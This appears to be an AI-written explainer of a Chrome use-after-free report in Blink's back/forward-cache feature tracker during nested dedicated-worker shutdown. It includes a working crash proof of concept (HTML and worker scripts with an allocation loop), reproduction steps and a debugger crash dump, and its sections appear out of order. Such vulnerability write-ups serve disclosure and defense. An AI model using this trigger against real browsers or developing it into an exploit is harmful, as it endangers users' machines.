0b (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (blink::scheduler::NonMainThreadTaskQueue::*const &)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),blink::scheduler::NonMainThreadTaskQueue *>,base::internal::BindState<1,1,0,void (blink::scheduler::NonMainThreadTaskQueue::*)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),base::internal::UnretainedWrapper<blink::scheduler::NonMainThreadTaskQueue,base::unretained_traits::MayNotDangle,0> >,void (const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *)>::RunImpl+0x2b5 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1067]
0c (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (blink::scheduler::NonMainThreadTaskQueue::*const &)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),blink::scheduler::NonMainThreadTaskQueue *>,base::internal::BindState<1,1,0,void (blink::scheduler::NonMainThreadTaskQueue::*)

The faulting instruction reads through rdi, and the debugger shows this = <value unavailable> with details still typed as blink::FrameOrWorkerScheduler::Delegate::BlockingDetails. The stack confirms the callback was dispatched from ThreadSchedulerBase::DispatchOnTaskCompletionCallbacks via WorkerThreadScheduler::OnTaskCompleted, that is, from the after-current-task mechanism, not from the shutdown path itself.

Root cause

BackForwardCacheDisablingFeatureTracker defers ReportFeaturesToDelegate() to the end of the current task and holds the delegate as a raw pointer to the worker's global scope. The bound callback holds a base::WeakPtr to the tracker, while the delegate is reached through delegate_. In the normal two-step shutdown the deferred report runs before the global scope is destroyed, so the ordering is safe. The single-step parent shutdown introduced by the child-termination path collapses BroadcastChannel::CloseInternal() and ~DedicatedWorkerGlobalScope() into one task, so the deferred report runs afterwards against a freed object.

Impact

The report describes the bug as potentially exploitable to achieve one click remote code execution in a renderer process. The demonstrated effect is a tab crash from an access violation in ReportFeaturesToDelegate. The report does not give a working exploit beyond the crash.

Fix

The report does not describe the fix.

  • Other features that register non-sticky scheduling-affecting handles with the worker scheduler, torn down in the same task as the global scope. A positive result is a crash in ReportFeaturesToDelegate or a similar deferred callback dereferencing a freed delegate.
  • Deeper worker hierarchies where a grandchild termination drives the parent into ChildThreadTerminatedOnWorkerThread() with requested_to_terminate_ already set. A positive result is the single-step PerformShutdownOnWorkerThread() on a worker that still has a pending deferred report.
  • Different orderings of terminate() calls between parent and child, to widen the race window. A positive result is a reproducible access violation rather than an intermittent one.
  • Other deferred callbacks bound with a weak pointer to a tracker but a raw pointer to a global scope, in frame as well as worker contexts. A positive result is a use after free when the scope is destroyed in the same task as the feature teardown.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 25 min read.

What happened, in plain words

A security researcher found a bug in Google Chrome that can make the browser crash, and in principle could be used to run an attacker's code on your computer. The bug is in a part of Chrome called Blink, which is the engine that turns web pages into what you see on screen. More precisely, it is in a small piece of bookkeeping code that keeps track of which features a web page (or a background script it started) is using, so Chrome can decide whether that page is allowed to be parked in a special fast-reload cache called the back/forward cache.

The bug is a "use after free". Imagine you write down a friend's phone number on a sticky note, then your friend moves house and the number is reassigned to a stranger. If you later call the number on the note, you are not talking to your friend any more. A use after free is the same idea in software: a program keeps a note pointing at a chunk of memory, the memory is handed back to the system (freed), and then the program uses the old note anyway. Sometimes the memory has been reused for something else, and the program reads or writes the wrong thing. That can crash the program, and with enough skill an attacker can sometimes turn it into running their own code.

In this case, Chrome frees an object that represents a background worker script (a DedicatedWorkerGlobalScope), but a delayed piece of work still holds a pointer to it and later tries to use it. The researcher showed that a carefully crafted web page can trigger this, and the result is a crashed browser tab. The report says the bug could potentially be exploited to achieve one click remote code execution in a renderer process, meaning a user would only have to click once on a malicious page for an attacker to run code inside the part of Chrome that renders pages.

Context

To follow this, you need a few ideas from how browsers work.

A renderer process is a separate program that Chrome starts for each tab (roughly). It is deliberately kept apart from the rest of the browser so that if a web page misbehaves, it cannot easily reach your files or other tabs. Bugs that let an attacker run code inside a renderer are serious because they are the first step towards a full takeover.

A worker is a background script that a web page can start. It runs separately from the page's main script so that heavy work does not freeze the page. A dedicated worker belongs to one page. A worker can itself start another worker, which is called a sub worker here. Each worker has a global scope object, which is the object that holds the worker's variables and functions; in Chrome's code the dedicated worker's global scope is a class called DedicatedWorkerGlobalScope.

A BroadcastChannel is a browser feature that lets different scripts (for example, several tabs or workers) send messages to each other on a named channel. Chrome has to know when a page uses a BroadcastChannel, because an open channel means the page is not a good candidate for the back/forward cache.

The back/forward cache (often shortened to bfcache) is a Chrome feature that keeps a fully rendered page in memory when you navigate away, so that pressing the Back button shows it instantly instead of reloading. Some features make a page unsuitable for this cache. Chrome tracks those features with a class called BackForwardCacheDisablingFeatureTracker. When a feature starts or stops being used, the tracker records it, and at the end of the current task it reports the accumulated set to a delegate object through a method called UpdateBackForwardCacheDisablingFeatures().

A delegate is just an object that another object hands work to. Think of a manager who does not do the paperwork themselves but passes it to an assistant: the assistant is the delegate. For a dedicated worker, the delegate is the worker's global scope object, the DedicatedWorkerGlobalScope.

The tracker lives on an object called WorkerSchedulerImpl, as a member named back_forward_cache_disabling_feature_tracker_. The delegate is wired up when the worker thread is initialised:

Text
void WorkerThread::InitializeOnWorkerThread()
	worker_scheduler_->InitializeOnWorkerThread(global_scope_);
	WorkerSchedulerImpl::InitializeOnWorkerThread()
		back_forward_cache_disabling_feature_tracker_.SetDelegate(delegate);

Line by line:

  1. void WorkerThread::InitializeOnWorkerThread() is the function that runs when a worker's thread is being set up. WorkerThread is Chrome's internal object for a worker thread.
  2. worker_scheduler_->InitializeOnWorkerThread(global_scope_); tells the worker's scheduler (the part that decides when tasks run) to initialise itself, passing in the worker's global scope object.
  3. WorkerSchedulerImpl::InitializeOnWorkerThread() is the scheduler's own initialisation function, shown nested underneath to show the call chain.
  4. back_forward_cache_disabling_feature_tracker_.SetDelegate(delegate); stores the delegate in the tracker. From this point on, the tracker knows which object to report to.

The report describes a crafted HTML file that frees the DedicatedWorkerGlobalScope while a deferred call to ReportFeaturesToDelegate() is still pending, so the callback dereferences a dangling delegate. "Dereferences" means following a pointer to read or write the memory it points at. "Dangling" means the pointer still exists but the memory it points at has been freed.

Setup

The researcher reproduced the bug on this setup:

Item Value
Product Google Chrome
Version 124.0.6367.61 (Official Build) (64-bit) (cohort: Stable Installs & Version Pins)
Revision [redacted]-refs/branch-heads/6367@{#798}
OS Windows 11 Version 22H2 (Build 22621.3447)
JavaScript V8 [redacted]

A build here means a particular compiled release of Chrome. The version number identifies exactly which release was tested, so others can try to reproduce the same behaviour. The revision is an identifier for the exact source code snapshot that build was made from. V8 is the JavaScript engine inside Chrome, the part that runs JavaScript code.

A bisect is a technique for finding the change that introduced a bug. You have a version where the bug happens and a version where it does not, and you repeatedly test the midpoint between them, halving the range each time, until you narrow it down to a single change. The bisect identified the introducing commit as [redacted] in the Chromium source. A commit is a recorded change to a codebase.

The impacted release branches listed were:

  • Version 126.0.6423.2 (Official Build) dev (64-bit)
  • Version 125.0.6422.4 (Official Build) beta (64-bit)
  • Version 124.0.6367.61 (Official Build) (64-bit)

A release branch is a line of development for a particular version. Chrome has several channels: dev (early, less stable), beta (a step before release) and stable (what most people run). The bug was present in all three listed versions.

The reproduction is served locally: the whole server code is in UAF_ReportFeaturesToDelegate_PoC.js, run with NodeJS, and the page is opened at http://localhost:12345/. NodeJS is a program that runs JavaScript outside a browser, which makes it handy for running a small local web server. localhost means "this computer", and 12345 is the port number the server listens on. No account or special browser flag is mentioned.

Finding it

The researcher traced the normal worker shutdown path and noticed that the tracker's report is deferred to the end of the current task, while the global scope can be destroyed in that same task under a particular ordering.

A task here means a unit of work that Chrome's scheduler runs on a thread. Chrome often queues work to run "after the current task", which is a way of saying "finish what you are doing first, then do this". That deferral is the heart of the bug: if the object the deferred work needs is destroyed before the deferred work runs, the deferred work is left holding a stale pointer.

The key observation is that a worker can be torn down in two ways:

  1. The usual two-step sequence: PrepareForShutdownOnWorkerThread() followed by PerformShutdownOnWorkerThread().
  2. When a child worker terminates and the parent has already been asked to terminate, a single-step PerformShutdownOnWorkerThread() on the parent.

The single-step path runs BroadcastChannel::CloseInternal() and the DedicatedWorkerGlobalScope destructor in the same task, which is exactly the ordering that leaves the deferred report pointing at freed memory. A destructor is the function that runs when an object is destroyed; it is where the object's memory is released.

Exploitation

Step 1: create the worker hierarchy and a BroadcastChannel

The main page creates a dedicated worker, worker0.js:

JavaScript
worker0 = new Worker("worker0.js");

Line by line:

  1. new Worker("worker0.js") asks the browser to start a new dedicated worker and load the script worker0.js into it.
  2. The result is stored in the variable worker0, so the page can later talk to the worker or terminate it.

Inside worker0.js, a sub worker and a BroadcastChannel are instantiated:

JavaScript
var embeddedworker = new Worker("embeddedworker.js");
var bc0 = new BroadcastChannel("test_channel");

Line by line:

  1. var embeddedworker = new Worker("embeddedworker.js"); starts a second worker, a child of worker0, running the script embeddedworker.js. This is the sub worker.
  2. var bc0 = new BroadcastChannel("test_channel"); opens a broadcast channel named test_channel. The name is just a label; any script that opens a channel with the same name can exchange messages with this one.

The BroadcastChannel's teardown resets a scheduling-affecting feature handle, which is what schedules the deferred report. "Non-sticky" means the feature is not permanently attached to the page; it can start and stop. The sub worker is what makes the single-step parent shutdown reachable.

Step 2: trigger termination from the parent context

When a worker is terminated from JavaScript by its parent, for example with worker0.terminate();, WorkerThread::Terminate() posts two tasks to the worker backing thread:

Text
void WorkerThread::Terminate() {
...

  scoped_refptr<base::SingleThreadTaskRunner> task_runner =
	  GetWorkerBackingThread().BackingThread().GetTaskRunner();
  PostCrossThreadTask(
	  *task_runner, FROM_HERE,
	  CrossThreadBindOnce(&WorkerThread::PrepareForShutdownOnWorkerThread,
						  CrossThreadUnretained(this)));
  PostCrossThreadTask(
	  *task_runner, FROM_HERE,
	  CrossThreadBindOnce(&WorkerThread::PerformShutdownOnWorkerThread,
						  CrossThreadUnretained(this)));
...
}

Line by line:

  1. void WorkerThread::Terminate() { starts the function that handles a request to terminate a worker.
  2. scoped_refptr<base::SingleThreadTaskRunner> task_runner = declares a variable that will hold a task runner. A task runner is an object that can queue work to run on a particular thread. scoped_refptr is a smart pointer that keeps the object alive while it is in use.
  3. GetWorkerBackingThread().BackingThread().GetTaskRunner(); fetches the task runner for the worker's backing thread. The backing thread is the actual operating-system thread on which the worker's JavaScript runs.
  4. PostCrossThreadTask( queues a task to run on another thread. "Cross-thread" means the task is being sent from one thread to another.
  5. *task_runner, FROM_HERE, says which task runner to use and where the task came from (for debugging).
  6. CrossThreadBindOnce(&WorkerThread::PrepareForShutdownOnWorkerThread, wraps the function PrepareForShutdownOnWorkerThread so it can be called later. BindOnce means the wrapped call can only be made once.
  7. CrossThreadUnretained(this))); passes the current object (this) to the function without taking ownership of it. "Unretained" means the task does not keep the object alive; it just holds a pointer.
  8. The second PostCrossThreadTask does the same for PerformShutdownOnWorkerThread.

So termination is not immediate: it queues two tasks, one to prepare for shutdown and one to perform it. That two-step design is what makes the ordering bug possible.

In the normal case, PrepareForShutdownOnWorkerThread() walks down to BroadcastChannel::CloseInternal(), which resets the feature handle and ends up scheduling the report for after the current task:

Text
WorkerThread::PrepareForShutdownOnWorkerThread()
	GlobalScope()->NotifyContextDestroyed()
	ContextLifecycleNotifier::NotifyContextDestroyed()
		ContextLifecycleObserver::NotifyContextDestroyed()
			BroadcastChannel::CloseInternal()
				feature_handle_for_scheduler_.reset()
				FrameOrWorkerScheduler::SchedulingAffectingFeatureHandle::reset()
					WorkerSchedulerImpl::OnStoppedUsingNonStickyFeature()
						BackForwardCacheDisablingFeatureTracker::Remove()
							NotifyDelegateAboutFeaturesAfterCurrentTask(BackForwardCacheDisablingFeatureTracker::TracingType::kEnd, feature)
							BackForwardCacheDisablingFeatureTracker::NotifyDelegateAboutFeaturesAfterCurrentTask()
									scheduler_->ExecuteAfterCurrentTask(base::BindOnce(&BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate,weak_factory_.GetWeakPtr()));

This is a call chain, read from top to bottom. Each line is a function that the line above it calls:

  1. WorkerThread::PrepareForShutdownOnWorkerThread() is the first shutdown task.
  2. GlobalScope()->NotifyContextDestroyed() tells the worker's global scope that its context is being destroyed.
  3. ContextLifecycleNotifier::NotifyContextDestroyed() passes that notification on to anything that has registered to hear about the context's lifecycle.
  4. ContextLifecycleObserver::NotifyContextDestroyed() is one such observer being notified.
  5. BroadcastChannel::CloseInternal() is the BroadcastChannel reacting by closing itself.
  6. feature_handle_for_scheduler_.reset() releases the channel's handle on the scheduler. A handle here is a small object that represents "this feature is in use".
  7. FrameOrWorkerScheduler::SchedulingAffectingFeatureHandle::reset() is the handle's own reset logic.
  8. WorkerSchedulerImpl::OnStoppedUsingNonStickyFeature() tells the scheduler the feature has stopped being used.
  9. BackForwardCacheDisablingFeatureTracker::Remove() removes the feature from the tracker's list.
  10. NotifyDelegateAboutFeaturesAfterCurrentTask(...) asks the tracker to notify the delegate, but not right now: after the current task.
  11. BackForwardCacheDisablingFeatureTracker::NotifyDelegateAboutFeaturesAfterCurrentTask() is the function that does the scheduling.
  12. scheduler_->ExecuteAfterCurrentTask(base::BindOnce(&BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate,weak_factory_.GetWeakPtr())); queues ReportFeaturesToDelegate to run after the current task. The weak_factory_.GetWeakPtr() part creates a weak pointer to the tracker. A weak pointer does not keep an object alive; it lets the callback check later whether the object still exists.

At this point the report runs while the global scope is still alive, so the delegate call is fine:

Text
void BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate() {
  ...
  delegate_->UpdateBackForwardCacheDisablingFeatures(details);
  ...
}

Line by line:

  1. void BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate() { is the deferred function that does the reporting.
  2. delegate_->UpdateBackForwardCacheDisablingFeatures(details); calls the delegate's update method, passing the details of which features are in use. The -> means "follow the pointer and call this method on the object it points at". If the delegate has been freed, this line is the use after free.

Then PerformShutdownOnWorkerThread() destroys the DedicatedWorkerGlobalScope through the backing thread teardown chain:

Text
WorkerThread::PerformShutdownOnWorkerThread()
	WorkerBackingThread::ShutdownOnBackingThread()
		NonMainThreadImpl::ShutdownOnThread()
			NonMainThreadImpl::SimpleThreadImpl::ShutdownOnThread()
				gc_support_.reset()
					NonMainThreadImpl::GCSupport::~GCSupport()
						ThreadState::DetachCurrentThread()
							ThreadState::~ThreadState()
								HeapBase::Terminate()
									SweeperImpl::FinishIfRunning()
										...
											DedicatedWorkerGlobalScope::~DedicatedWorkerGlobalScope()

Again, read top to bottom as a chain of calls:

  1. WorkerThread::PerformShutdownOnWorkerThread() is the second shutdown task.
  2. WorkerBackingThread::ShutdownOnBackingThread() shuts down the worker's backing thread.
  3. NonMainThreadImpl::ShutdownOnThread() and NonMainThreadImpl::SimpleThreadImpl::ShutdownOnThread() are the thread implementation's own shutdown steps.
  4. gc_support_.reset() releases the garbage-collection support object. Garbage collection is the automatic process that reclaims memory the program no longer uses.
  5. NonMainThreadImpl::GCSupport::~GCSupport() is that object's destructor.
  6. ThreadState::DetachCurrentThread() and ThreadState::~ThreadState() detach and destroy the thread's state.
  7. HeapBase::Terminate() and SweeperImpl::FinishIfRunning() finish up the memory heap. A heap is the pool of memory a program allocates objects from.
  8. DedicatedWorkerGlobalScope::~DedicatedWorkerGlobalScope() is the destructor of the worker's global scope. This is where the object is freed.

Step 3: make the parent shutdown single-step

With two hierarchical workers, the terminations of worker0 and embeddedworker can be racy. A race condition is when the outcome depends on the exact timing of two things happening at once; sometimes it works, sometimes it does not. Calling embeddedworker.terminate() from worker0.js shuts the sub worker down through the same two-step procedure, but the sub worker's teardown also schedules ThreadedMessagingProxyBase::WorkerThreadTerminated() on the parent agent group task runner:

Text
WorkerThread::PerformShutdownOnWorkerThread()
	GetWorkerReportingProxy().DidTerminateWorkerThread()
	ThreadedObjectProxyBase::DidTerminateWorkerThread()
		    PostCrossThreadTask(*GetParentAgentGroupTaskRunner(), FROM_HERE,CrossThreadBindOnce(&ThreadedMessagingProxyBase::WorkerThreadTerminated, MessagingProxyWeakPtr()));

Line by line:

  1. WorkerThread::PerformShutdownOnWorkerThread() is the sub worker's shutdown task.
  2. GetWorkerReportingProxy().DidTerminateWorkerThread() tells the reporting proxy that the worker thread has terminated. A proxy here is an object that stands in for another object across threads.
  3. ThreadedObjectProxyBase::DidTerminateWorkerThread() is the proxy's handler.
  4. PostCrossThreadTask(*GetParentAgentGroupTaskRunner(), FROM_HERE,CrossThreadBindOnce(&ThreadedMessagingProxyBase::WorkerThreadTerminated, MessagingProxyWeakPtr())); queues a task on the parent's task runner to call WorkerThreadTerminated. The MessagingProxyWeakPtr() is a weak pointer to the messaging proxy, so the task does not keep it alive.

That callback notifies the parent worker thread:

Text
void ThreadedMessagingProxyBase::WorkerThreadTerminated() {
  ...
  if (parent_thread && child_thread)
	parent_thread->ChildThreadTerminatedOnWorkerThread(child_thread.get());
  ...
}

Line by line:

  1. void ThreadedMessagingProxyBase::WorkerThreadTerminated() { is the function that runs when a worker thread has terminated.
  2. if (parent_thread && child_thread) checks that both a parent thread and a child thread are known. The && means "and".
  3. parent_thread->ChildThreadTerminatedOnWorkerThread(child_thread.get()); tells the parent that its child thread has terminated. .get() extracts the raw pointer from the smart pointer.

If requested_to_terminate_ was already set because of worker0.terminate();, CheckRequestedToTerminate() returns true and the parent runs PerformShutdownOnWorkerThread() directly:

Text
void WorkerThread::ChildThreadTerminatedOnWorkerThread(WorkerThread* child) {
  ...
  if (child_threads_.empty() && CheckRequestedToTerminate())
	PerformShutdownOnWorkerThread();
}

Line by line:

  1. void WorkerThread::ChildThreadTerminatedOnWorkerThread(WorkerThread* child) { is the parent's handler for a child thread terminating.
  2. if (child_threads_.empty() && CheckRequestedToTerminate()) checks two things: that the parent has no child threads left, and that a termination was already requested. Both must be true.
  3. PerformShutdownOnWorkerThread(); then shuts the parent down immediately, in a single step, instead of going through the usual prepare-then-perform sequence.

Now the parent's PerformShutdownOnWorkerThread() executes BroadcastChannel::CloseInternal() and the DedicatedWorkerGlobalScope destructor in the same task. CloseInternal() still schedules ReportFeaturesToDelegate() for after the current task, so the callback runs after the global scope has been freed and delegate_->UpdateBackForwardCacheDisablingFeatures(details) is a use after free.

Step 4: the PoC

A PoC, short for proof of concept, is a small piece of code that demonstrates a bug actually happens. It is not a full attack; it just proves the problem is real.

The main page code:

HTML
<script>
var delDbReq =  indexedDB.deleteDatabase("TestDb1");
worker0 = new Worker("worker0.js");
worker0.onerror=function(){
	worker0.terminate();
};
var dbreq0= indexedDB.open("TestDb1",  2);
dbreq0.onupgradeneeded = function(event) {  a= b;
};
setTimeout(function(){location.reload()},300);
</script>

Line by line:

  1. <script> starts a block of JavaScript inside the HTML page.
  2. var delDbReq = indexedDB.deleteDatabase("TestDb1"); asks the browser to delete a database called TestDb1. IndexedDB is a built-in browser database that web pages can use to store data locally.
  3. worker0 = new Worker("worker0.js"); starts the dedicated worker, as in Step 1.
  4. worker0.onerror=function(){ sets up a handler that runs if the worker reports an error.
  5. worker0.terminate(); inside that handler tells the worker to stop. This is the termination that sets requested_to_terminate_ on the parent.
  6. }; closes the handler.
  7. var dbreq0= indexedDB.open("TestDb1", 2); opens (or creates) the database TestDb1 at version 2.
  8. dbreq0.onupgradeneeded = function(event) { a= b; sets a handler that runs when the database needs to be upgraded. The body a= b; refers to b, which is not defined, so it throws an error. That error is what eventually fires the worker's onerror.
  9. }; closes the handler.
  10. setTimeout(function(){location.reload()},300); waits 300 milliseconds and then reloads the page. Reloading gives the race another chance to happen.
  11. </script> ends the script block.

The worker code (worker0.js):

JavaScript
var embeddedworker = new Worker("embeddedworker.js");
var bc0 = new BroadcastChannel("test_channel");
onerror  = function (e) {
embeddedworker.terminate();
  gc();
 };
gc = function()
{
  for (var i = 0; i < 0x20000; ++i)
	var s = new String('AAAA');
};

var dbreq0= indexedDB.open("TestDb1",  2);
 dbreq0.onsuccess = function(event) { db = dbreq0.result;
  var transaction = db.transaction(["customers"], "readwrite");
};

Line by line:

  1. var embeddedworker = new Worker("embeddedworker.js"); starts the sub worker.
  2. var bc0 = new BroadcastChannel("test_channel"); opens the broadcast channel, which registers the feature with the tracker.
  3. onerror = function (e) { sets the worker's own error handler.
  4. embeddedworker.terminate(); terminates the sub worker. This is the child termination that, combined with the parent's pending termination, triggers the single-step shutdown.
  5. gc(); calls the function defined just below.
  6. }; closes the error handler.
  7. gc = function() defines a function named gc.
  8. { opens its body.
  9. for (var i = 0; i < 0x20000; ++i) loops 0x20000 times. 0x20000 is hexadecimal for 131072.
  10. var s = new String('AAAA'); creates a new string object on each iteration. This allocates a lot of memory, which encourages the browser's garbage collector to run and to reuse freed memory, making the use after free more likely to be noticed.
  11. }; closes the function.
  12. var dbreq0= indexedDB.open("TestDb1", 2); opens the same database from inside the worker.
  13. dbreq0.onsuccess = function(event) { db = dbreq0.result; runs when the open succeeds and stores the database handle.
  14. var transaction = db.transaction(["customers"], "readwrite"); starts a read/write transaction on a store called customers. A transaction is a group of database operations that are treated as one unit.
  15. }; closes the handler.

The main page deletes and reopens an IndexedDB database, and the onupgradeneeded handler throws (a= b;). The worker's onerror handler terminates the sub worker and then runs a loop that allocates strings. The worker also opens the same IndexedDB database. The page reloads itself after 300 ms.

Steps to reproduce:

  1. Run the PoC with NodeJS: node UAF_ReportFeaturesToDelegate_PoC.js
  2. Enter http://localhost:12345/ from the chrome browser

Step 1 starts the local web server that serves the PoC files. Step 2 opens the page in Chrome, which loads the crafted HTML and starts the chain of events described above.

Step 5: the crash

The crash is a tab crash with an access violation in ReportFeaturesToDelegate:

Text
(9fa8.b15c): Access violation - code c0000005 (!!! second chance !!!)
chrome!blink::scheduler::BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate+0x145:
00007ff8`4895eb65 488b07          mov     rax,qword ptr [rdi] ds:00000321`01b219f8=????????????????
22:477> r
rax=00002c8000000000 rbx=0000055c006861b8 rcx=0000000000000000
rdx=00000089807fea50 rsi=0000055c006861a8 rdi=0000032101b219f8
rip=00007ff84895eb65 rsp=00000089807fea30 rbp=0000000000000000
 r8=0000000000000000  r9=0000000000000083 r10=00000000546c6148
r11=00000000184eb297 r12=0000000000000000 r13=0000000000000008
r14=0000055c00000000 r15=0000055c00000000
iopl=0         nv up ei ng nz na po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010285
chrome!blink::scheduler::BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate+0x145:
00007ff8`4895eb65 488b07          mov     rax,qword ptr [rdi] ds:00000321`01b219f8=????????????????
22:477> dv
           this = <value unavailable>
        details = struct blink::FrameOrWorkerScheduler::Delegate::BlockingDetails
22:477> k
 # Child-SP          RetAddr               Call Site
00 00000089`807fea30 00007ff8`49357118     chrome!blink::scheduler::BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate+0x145 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\common\back_forward_cache_disabling_feature_tracker.cc @ 166]
01 (Inline Function) --------`--------     chrome!base::internal::DecayedFunctorTraits<void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> &&>::Invoke+0x35 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 738]
02 (Inline Function) --------`--------     chrome!base::internal::InvokeHelper<1,base::internal::FunctorTraits<void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*&&)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> &&>,void,0>::MakeItSo+0x4c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 954]
03 (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*&&)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> &&>,base::internal::BindState<1,1,0,void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> >,void ()>::RunImpl+0x4c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1067]
04 (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*&&)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> &&>,base::internal::BindState<1,1,0,void (blink::scheduler::BackForwardCacheDisablingFeatureTracker::*)(),base::WeakPtr<blink::scheduler::BackForwardCacheDisablingFeatureTracker> >,void ()>::RunOnce+0x4c [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 980]
05 (Inline Function) --------`--------     chrome!base::OnceCallback<void ()>::Run+0x7a [C:\b\s\w\ir\cache\builder\src\base\functional\callback.h @ 156]
06 (Inline Function) --------`--------     chrome!blink::scheduler::ThreadSchedulerBase::DispatchOnTaskCompletionCallbacks+0x1d8 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\common\thread_scheduler_base.cc @ 130]
07 00000089`807feaa0 00007ff8`48700487     chrome!blink::scheduler::WorkerThreadScheduler::OnTaskCompleted+0x248 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\worker\worker_thread_scheduler.cc @ 207]
08 (Inline Function) --------`--------     chrome!blink::scheduler::NonMainThreadTaskQueue::OnTaskCompleted+0x2b5 [C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\worker\non_main_thread_task_queue.cc @ 73]
09 (Inline Function) --------`--------     chrome!base::internal::DecayedFunctorTraits<void (blink::scheduler::NonMainThreadTaskQueue::*)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),blink::scheduler::NonMainThreadTaskQueue *>::Invoke+0x2b5 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 738]
0a (Inline Function) --------`--------     chrome!base::internal::InvokeHelper<0,base::internal::FunctorTraits<void (blink::scheduler::NonMainThreadTaskQueue::*const &)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),blink::scheduler::NonMainThreadTaskQueue *>,void,0>::MakeItSo+0x2b5 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 930]
0b (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (blink::scheduler::NonMainThreadTaskQueue::*const &)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),blink::scheduler::NonMainThreadTaskQueue *>,base::internal::BindState<1,1,0,void (blink::scheduler::NonMainThreadTaskQueue::*)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),base::internal::UnretainedWrapper<blink::scheduler::NonMainThreadTaskQueue,base::unretained_traits::MayNotDangle,0> >,void (const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *)>::RunImpl+0x2b5 [C:\b\s\w\ir\cache\builder\src\base\functional\bind_internal.h @ 1067]
0c (Inline Function) --------`--------     chrome!base::internal::Invoker<base::internal::FunctorTraits<void (blink::scheduler::NonMainThreadTaskQueue::*const &)(const base::sequence_manager::Task &, base::sequence_manager::TaskQueue::TaskTiming *, base::LazyNow *),blink::scheduler::NonMainThreadTaskQueue *>,base::internal::BindState<1,1,0,void (blink::scheduler::NonMainThreadTaskQueue::*)

This is a debugger output. A debugger is a tool that lets a developer pause a program and inspect its memory and call stack. An access violation is the operating system's way of saying "this program tried to touch memory it is not allowed to touch". The code c0000005 is Windows' identifier for that error.

Line by line, the important parts:

  1. (9fa8.b15c): Access violation - code c0000005 (!!! second chance !!!) reports the crash. The numbers in brackets are thread identifiers. "Second chance" means the debugger got a second opportunity to handle the exception before the program was terminated.
  2. chrome!blink::scheduler::BackForwardCacheDisablingFeatureTracker::ReportFeaturesToDelegate+0x145: names the function where the crash happened, and the offset +0x145 into it.
  3. 00007ff84895eb65 488b07 mov rax,qword ptr [rdi] ds:0000032101b219f8=???????????????? is the faulting instruction. mov rax,qword ptr [rdi] means "read the value at the address held in the rdi register and put it in rax". The ???????????????? shows the debugger could not read that memory, which is what you expect when the address is no longer valid.
  4. 22:477> r asks the debugger to show the registers. Registers are tiny, very fast storage locations inside the CPU.
  5. The register dump shows rdi=0000032101b219f8, the address that was dereferenced.
  6. 22:477> dv asks the debugger to show local variables. It shows this = <value unavailable> and details = struct blink::FrameOrWorkerScheduler::Delegate::BlockingDetails.
  7. 22:477> k asks for the call stack, the list of function calls that led to the crash, newest first.
  8. Frame 00 is the crash itself, in ReportFeaturesToDelegate at back_forward_cache_disabling_feature_tracker.cc @ 166.
  9. Frames 01 to 05 are the machinery that invokes the bound callback. base::WeakPtr appears here, which is the weak pointer to the tracker mentioned earlier.
  10. Frame 06 is ThreadSchedulerBase::DispatchOnTaskCompletionCallbacks, which is the after-current-task mechanism firing.
  11. Frame 07 is WorkerThreadScheduler::OnTaskCompleted, confirming the callback ran when a task completed.
  12. Frames 08 to 0f are the task queue and sequence manager internals that run tasks and notify when they finish.
  13. Frames 10 to 17 are the message loop and thread startup machinery. A message loop is the loop that keeps pulling tasks off a queue and running them.
  14. Frames 18 and 19 are Windows system functions that started the thread.

The stack confirms the callback was dispatched from ThreadSchedulerBase::DispatchOnTaskCompletionCallbacks via WorkerThreadScheduler::OnTaskCompleted, that is, from the after-current-task mechanism, not from the shutdown path itself.

Root cause

